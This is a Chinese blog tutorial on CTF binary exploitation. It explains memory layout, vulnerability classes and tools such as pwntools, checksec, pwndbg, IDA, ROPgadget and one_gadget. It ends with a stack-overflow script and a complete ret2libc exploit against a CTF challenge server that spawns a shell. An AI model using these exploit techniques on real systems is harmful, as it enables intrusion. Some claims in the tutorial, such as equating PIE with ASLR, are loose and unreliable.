PWN基础
本文简单总结一下CTF的pwn方向的知识点,更多详细内容请参考:基础知识-CTF Wiki
附加博主学习的二进制基础知识视频:二进制程序基础原理入门
CTF Pwn 知识点详解与工具使用说明
一、Pwn 是什么
Pwn 在 CTF 比赛中是一个关键的题目类别,涉及对二进制程序漏洞的利用来获取系统控制权。这个术语源自黑客俚语,是 “own” 的衍生词,意味着攻破系统、获取权限。在 CTF 竞赛里,参赛者需通过发现软件漏洞,如缓冲区溢出、格式化字符串漏洞等,来控制程序执行流程,最终获取 shell 并拿到 flag。
二、基础概念详解
(一)二进制基础
可执行文件格式(ELF)
- 在 Linux 系统中,可执行文件多为 ELF 格式。它包括 ELF 头、程序头、段等部分,用于描述程序的组织结构与运行方式。
- 示例:一个简单的 ELF 可执行文件
demo.out
,通过readelf -h demo.out
可查看其 ELF 头信息,如类型、入口点等。
小端序(Little-Endian)
- Linux 中数据以小端序存储,即低位字节存放在低地址处。例如,数值
0x12345678
在内存中存储顺序为78 56 34 12
。
- Linux 中数据以小端序存储,即低位字节存放在低地址处。例如,数值
汇编格式
- 常见的汇编格式有 Intel 和 AT&T 两种。AT&T 格式在 Linux 中较常用,如
movl $1, %eax
表示将立即数 1 移动到寄存器 EAX。
- 常见的汇编格式有 Intel 和 AT&T 两种。AT&T 格式在 Linux 中较常用,如
(二)计算机内存结构
栈(Stack)
- 栈用于存储函数调用时的局部变量、参数、返回地址等。其增长方向是内存地址减小的方向。
- 图例:
1
2
3
4
5
6
7
8
9
10
11高地址
│
├─ 栈底(栈增长方向)
│ │
├─ 局部变量
│ │
├─ 函数参数
│ │
├─ 返回地址
│ │
└─ 栈顶(低地址) - 当函数调用时,返回地址、基地址(ebp)等信息会被压入栈中。函数执行完毕后,通过弹出栈顶的返回地址恢复程序执行流程。
堆(Heap)
- 堆用于动态内存分配,如通过
malloc
、free
等函数操作。堆的增长方向是内存地址增大的方向。 - 图例:
1
2
3
4
5
6
7低地址
│
├─ 堆顶(堆增长方向)
│ │
├─ 已分配内存块
│ │
└─ 高地址
- 堆用于动态内存分配,如通过
数据段(Data Section)与 BSS 段(BSS Section)
- 数据段存储已初始化的全局变量和静态变量,BSS 段存储未初始化的全局变量和静态变量。
文本段(Text Section)
- 文本段存储程序的机器指令代码。
(三)程序执行流程
函数调用机制
- 函数调用时,调用者的返回地址、基地址(ebp)等信息被压入栈中,然后跳转到被调用函数的地址执行。
- 图例:
1
2
3
4
5
6
7
8
9
10
11
12
13调用函数A:
│
├─ 将返回地址压入栈
│ │
├─ 保存基地址(ebp)到栈
│ │
└─ 跳转到函数A的入口地址
函数A执行完毕:
│
├─ 恢复基地址(ebp)
│ │
└─ 弹出返回地址,跳转回原函数继续执行
返回地址的作用
- 函数执行完毕后,通过弹出栈顶的返回地址来恢复程序的执行流程,使程序跳转回调用该函数的位置继续执行后续代码。
(四)常见漏洞类型详解
栈溢出
- 当程序使用如
gets()
、scanf("%s")
、read()
等函数时,若未对输入数据的长度进行严格限制,可能导致输入的数据超出缓冲区大小,从而覆盖栈中的其他数据,包括返回地址,进而改变程序执行流程。 - 图例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17正常情况:
│
├─ 栈内存布局
│ │
├─ 缓冲区(大小为N)
│ │
├─ 返回地址
│ │
└─ 其他数据
栈溢出情况:
│
├─ 输入数据超过缓冲区大小
│ │
├─ 覆盖返回地址
│ │
└─ 改变程序执行流程
- 当程序使用如
数组下标溢出
- 若程序对数组的上界或下界未进行判断,攻击者可通过精心构造的输入,使程序访问或修改数组以外的内存区域,导致任意位置的读写,改变程序行为。
格式化字符串漏洞
- 主要利用
printf
等函数的格式化字符串漏洞。当程序将用户输入直接作为格式化字符串时,攻击者可构造特定的格式化字符串,实现栈区内读写,泄露栈中信息或篡改数据。 - 图例:
1
2
3
4
5
6
7
8漏洞代码示例:
printf(user_input); // user_input 未经过滤直接作为格式化字符串
攻击者输入:
%x%x%x... // 构造格式化字符串,读取栈中内容
结果:
泄露栈中信息,如返回地址、函数指针等
- 主要利用
堆利用
- 包括 UAF(Use After Free)、劫持
__malloc_hook
、修改__IO_1_2_stdout
等。例如,UAF 漏洞是由于在释放一块堆内存后,未正确重置指针,导致程序可能再次使用已释放的内存,攻击者可利用此情况使程序执行任意代码。 - 图例:
1
2
3
4
5
6
7
8
9UAF 漏洞示例:
│
├─ 分配堆块A
│ │
├─ 释放堆块A,但未重置指针
│ │
├─ 攻击者重新分配堆块A的位置,填充恶意数据
│ │
└─ 程序再次使用已释放的堆块A,执行恶意数据
- 包括 UAF(Use After Free)、劫持
整数溢出
- 当整数运算超过其表示范围时,可能会导致意外行为。例如,在内存分配时,若计算分配大小的整数发生溢出,可能导致分配的内存大小远小于预期,后续写入数据时超出分配范围,覆盖其他内存区域,引发漏洞。
未初始化变量
- 使用未初始化的变量可能导致不可预测的行为。攻击者可能通过控制程序环境或输入,使未初始化的变量取特定值,从而影响程序逻辑,引发安全问题。
双重释放(Double Free)
- 对同一块内存进行两次
free
操作,可能导致堆管理器的混乱。攻击者可利用此漏洞,通过精心构造的内存操作,使程序在后续的内存分配和使用中执行恶意代码。
- 对同一块内存进行两次
堆风水(Heap Feng Shui)
- 通过精心控制堆的分配和释放,攻击者能够预测和控制堆块的布局。例如,在特定位置分配恶意构造的数据,当程序执行到相关操作时,触发漏洞,实现代码执行等恶意行为。
三、工具使用说明
(一)pwntools
安装
- 在 Python3 环境下,通过
python3 -m pip install pwntools
命令安装。
- 在 Python3 环境下,通过
功能
- 用于快速构建 CTF 漏洞利用脚本,简化二进制漏洞的开发和利用过程。
使用示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18from pwn import *
# 创建本地进程连接
io = process('./vulnerable_program')
# 创建远程连接
# io = remote('host', port)
# 接收数据
data = io.recvline() # 接收一行数据
data = io.recvuntil('prompt') # 接收直到遇到指定提示符的数据
# 发送数据
io.send('data') # 发送数据
io.sendline('data') # 发送数据并在末尾添加换行符
# 关闭连接
io.close()模块介绍
- context:设置架构、字节序、日志级别等全局参数。例如,
context.arch = 'amd64'
设置架构为 64 位,context.endian = 'little'
设置字节序为小端。 - elf:解析 ELF 文件,获取程序的符号表、段信息等。例如,
elf = ELF('./vulnerable_program')
加载 ELF 文件,elf.symbols
获取符号表。 - rop:构建 ROP 链。例如,
rop = ROP(elf)
创建 ROP 对象,rop.raw
添加原始 gadget 或地址,rop.dump()
查看构建的 ROP 链。 - asm:汇编和反汇编。例如,
asm(shellcraft.sh())
生成 shellcode,disasm(shellcode)
反汇编 shellcode。 - shellcraft:提供各种 shellcode 模板。例如,
shellcraft.sh()
生成执行/bin/sh
的 shellcode。 - log:日志记录功能,方便调试。例如,
log.info('message')
记录信息日志,log.debug('message')
记录调试日志。 - cyclic:生成循环字符串,用于确定缓冲区溢出时的偏移量。例如,
cyclic(100)
生成长度为 100 的循环字符串,cyclic_find('0x61616171')
查找特定字串的偏移量。 - gdb:与 gdb 集成,方便调试。例如,
gdb.attach(io)
附加 gdb 到进程,gdb.debug('./vulnerable_program')
启动 gdb 调试。 - util.packing:提供数据打包和解包功能。例如,
p32(address)
将 32 位整数打包为字节流,u32(data)
将字节流解包为 32 位整数。 - tubes:封装了各种 I/O 操作,方便与目标程序交互。例如,
process
、remote
、ssh
等类用于创建本地进程、远程连接、SSH 连接等。 - args:处理命令行参数,方便在脚本中根据参数选择不同的操作。例如,
args['REMOTE']
获取命令行参数REMOTE
的值,判断是否为远程连接。
- context:设置架构、字节序、日志级别等全局参数。例如,
(二)checksec
功能
- 查看可执行文件的程序架构信息和保护信息,如是否启用了 NX、RELRO、STACK CANARY 等保护机制。
使用示例
1
checksec ./vulnerable_program
输出说明
- Arch:程序架构信息,如
amd64
表示 64 位程序。 - RELRO:
Full RELRO
表示 GOT 表完全只读,Partial RELRO
表示部分只读,No RELRO
表示未启用 RELRO 保护。 - Stack:
Canary found
表示启用了栈保护机制。 - NX:
NX enabled
表示栈不可执行,可防止代码注入攻击。 - PIE:
PIE enabled
表示启用了地址空间布局随机化(ASLR),No PIE
表示未启用。 - RPATH:显示运行时库路径。
- RUNPATH:显示运行时库路径。
- Symbols:显示是否包含符号表。
- Fortify:显示是否启用了 Fortify 保护。
- fortified:显示已启用 Fortify 保护的函数数量。
- fortifyable:显示可启用 Fortify 保护的函数总数。
- Arch:程序架构信息,如
(三)gdb+pwndbg
安装
- pwndbg 是 gdb 的插件,可通过
git clone https://github.com/pwndbg/pwndbg
命令下载并安装。
- pwndbg 是 gdb 的插件,可通过
功能
- 用于调试二进制程序,支持查看寄存器、内存、栈帧等信息,以及设置断点、单步执行等操作。
常用命令
b main
:在main
函数处设置断点。r
:启动程序并传递输入参数。continue
或c
:继续程序执行,直到下一个断点。next
或n
:单步执行程序,跳过函数调用。step
或s
:单步执行程序,进入函数调用。x/x $rsp
:查看栈顶内容。info registers
:查看寄存器信息。pwndbg
:显示 pwndbg 的调试界面,包含栈、寄存器、内存等信息。break
或b
:设置断点。例如,b *0x0000000000401186
在指定地址设置断点。delete
或d
:删除断点。例如,d 1
删除编号为 1 的断点。finish
:执行直到当前函数返回。until
或u
:执行直到指定地址。print
或p
:打印变量或表达式的值。例如,p $rax
打印寄存器rax
的值。set
:设置变量或寄存器的值。例如,set $rax = 0x1234
将寄存器rax
的值设置为0x1234
。disassemble
或disass
:反汇编代码。例如,disass main
反汇编main
函数。info breakpoints
或info b
:查看所有断点信息。detach
:从进程分离调试器。quit
或q
:退出 gdb。
结合 pwntools 使用
- 在调试过程中,可以结合 pwntools 的
context
模块设置架构和字节序,方便分析和构造 payload。例如,在 pwntools 脚本中,通过context.arch = 'amd64'
设置架构,然后在 gdb 中调试时,可以更方便地查看相应架构下的寄存器和内存布局。
- 在调试过程中,可以结合 pwntools 的
(四)IDA Pro
功能
- 用于逆向工程和二进制代码分析,将汇编代码转换为 C 语言代码,便于理解程序逻辑。
常用快捷键
- 空格键:切换文本视图 / 图表视图。
Shift + F12
:列出汇编语言代码中的字符串值。F5
:将汇编语言代码转换为 C 语言代码。Esc
:返回上一层代码。G
:跳转至指定地址。
使用技巧
- 分析函数:在 IDA 中,函数是程序的基本组成单元。通过查看函数的调用关系、参数传递、局部变量等信息,可以理解程序的功能和逻辑。例如,通过查看
main
函数的调用关系,可以了解程序的入口点和其他关键函数的调用顺序。 - 查找关键代码:在分析漏洞时,需要重点关注可能导致漏洞的关键代码,如缓冲区拷贝函数(
strcpy
、sprintf
等)、格式化字符串函数(printf
、sprintf
等)、堆操作函数(malloc
、free
等)。通过搜索这些函数的调用位置,可以快速定位到可能存在问题的代码段。 - 查看数据结构:IDA 可以解析程序中的数据结构,如结构体、数组等。通过查看数据结构的定义和使用情况,可以更好地理解程序的数据组织和操作方式,有助于分析漏洞的成因和利用方式。
- 交叉引用:IDA 提供了强大的交叉引用功能,可以查看某个函数、变量或地址在程序中的所有引用位置。这对于理解程序的整体结构和逻辑非常有帮助,也能辅助发现潜在的漏洞利用路径。
- 注释和标记:在分析过程中,可以为关键代码、函数、变量等添加注释和标记,方便后续的回顾和整理。这有助于提高分析效率,特别是在处理复杂的二进制程序时。
- 分析函数:在 IDA 中,函数是程序的基本组成单元。通过查看函数的调用关系、参数传递、局部变量等信息,可以理解程序的功能和逻辑。例如,通过查看
(五)ROPgadget
功能
- 检索二进制文件中存在的 ROP 操作链,用于构建恶意执行流。
使用示例
1
ROPgadget --binary ./vulnerable_program --only "pop;ret;" | grep "word"
输出说明
- 显示符合条件的 gadget 地址和指令序列,帮助构造 ROP 链。例如,输出
0x0000000000401234 : pop rdi; ret
表示在地址0x0000000000401234
处存在一个pop rdi; ret
的 gadget,可以用于在 ROP 链中设置rdi
寄存器的值。
- 显示符合条件的 gadget 地址和指令序列,帮助构造 ROP 链。例如,输出
常见 gadget 类型
- 寄存器弹出(pop):如
pop rax; ret
,用于将栈顶值弹出到指定寄存器。 - 内存操作:如
mov [rax], rdi; ret
,用于将寄存器值写入内存。 - 算术运算:如
add rax, rbx; ret
,用于执行算术运算。 - 控制流转移:如
jmp rax
,用于跳转到指定地址执行。 - 函数调用:如
call rax
,用于调用指定地址的函数。
- 寄存器弹出(pop):如
构造 ROP 链
- 根据漏洞利用的需求,选择合适的 gadget 组合,形成完整的 ROP 链。例如,为了调用
system("/bin/sh")
,需要找到pop rdi; ret
、system
函数地址以及"/bin/sh"
字符串地址等 gadget,并按照正确的顺序排列,形成 ROP 链。
- 根据漏洞利用的需求,选择合适的 gadget 组合,形成完整的 ROP 链。例如,为了调用
(六)one_gadget
功能
- 自动搜索并生成利用 libc 中特定 gadget 来构造 payload,简化提权过程。
使用示例
1
one_gadget ./libc.so
输出说明
- 输出可利用的 gadget 地址,直接用于覆盖返回地址实现提权。例如,输出
0x00000000004f322
表示在libc.so
文件中存在一个可利用的 gadget,将其地址覆盖到返回地址处,即可实现提权操作。
- 输出可利用的 gadget 地址,直接用于覆盖返回地址实现提权。例如,输出
使用场景
- 当程序启用了 NX 保护,无法直接注入 shellcode 时,可以利用 one_gadget 找到 libc 中的 gadget 地址,通过 ROP 链调用这些 gadget 来实现提权。
四、解题步骤示例
(一)栈溢出
使用 checksec 查看程序保护机制
1
checksec ./vulnerable_program
根据输出结果判断是否启用了 NX、RELRO 等保护机制,确定漏洞利用的可行性。例如,如果
NX
为NX enabled
,则需要使用 ROP 链等方式绕过 NX 保护;如果RELRO
为Full RELRO
,则 GOT 表完全只读,无法直接覆盖 GOT 表中的函数指针。使用 IDA Pro 或 gdb+pwndbg 分析程序逻辑
- 在 IDA Pro 中打开程序,查看函数调用关系和关键代码逻辑。例如,找到程序中存在缓冲区溢出的函数,确定缓冲区大小、返回地址位置等关键信息。
- 使用 gdb+pwndbg 设置断点,单步调试,观察寄存器和内存变化。例如,在漏洞函数处设置断点,运行程序并输入测试数据,查看栈的布局、返回地址的变化等,进一步确认漏洞的细节。
编写漏洞利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18from pwn import *
context.arch = 'amd64' # 设置架构
context.endian = 'little' # 设置字节序
# 创建本地进程连接
io = process('./vulnerable_program')
# 构造 payload
buffer_size = 0x20
return_address = 0x0000000000401186 # 目标返回地址
payload = b'a' * buffer_size + p64(return_address)
# 发送 payload
io.sendline(payload)
# 交互
io.interactive()该脚本通过 pwntools 发送构造好的 payload,覆盖返回地址,使程序跳转到指定地址执行,从而实现漏洞利用。在实际解题中,可能需要根据具体的漏洞类型和保护机制,选择不同的利用方式,如构造 ROP 链、注入 shellcode 等。
(二)ret2libc
使用 checksec 查看程序保护机制
1
checksec ./vulnerable_program
确认程序是否启用了 NX 保护,若启用了 NX 保护,则需要使用 ret2libc 技巧。
在 IDA Pro 中分析程序
- 找到程序中存在溢出的函数,例如
encrypt()
函数中的gets()
函数没有限制读入的长度,可以造成溢出。 - 确定
system()
函数和/bin/sh
字符串在 libc 中的地址。
- 找到程序中存在溢出的函数,例如
使用 ROPgadget 查找 gadget
1
ROPgadget --binary ./vulnerable_program --only "pop;ret;" | grep "word"
找到
pop rdi; ret
等 gadget 的地址。编写漏洞利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43from pwn import *
from LibcSearcher import *
r = remote('node3.buuoj.cn', 26887)
elf = ELF('./vulnerable_program')
main = 0x400b28
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
r.sendlineafter('choice!\n', '1')
payload = '\0' + 'a' * (0x50 - 1 + 8)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)
r.sendlineafter('encrypted\n', payload)
r.recvline()
r.recvline()
puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8, '\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
offset = puts_addr - libc.dump('puts')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')
r.sendlineafter('choice!\n', '1')
payload = '\0' + 'a' * (0x50 - 1 + 8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
r.sendlineafter('encrypted\n', payload)
r.interactive()该脚本通过泄露
puts
函数的地址,计算出 libc 的基地址,然后构造 ROP 链调用system("/bin/sh")
,实现提权操作。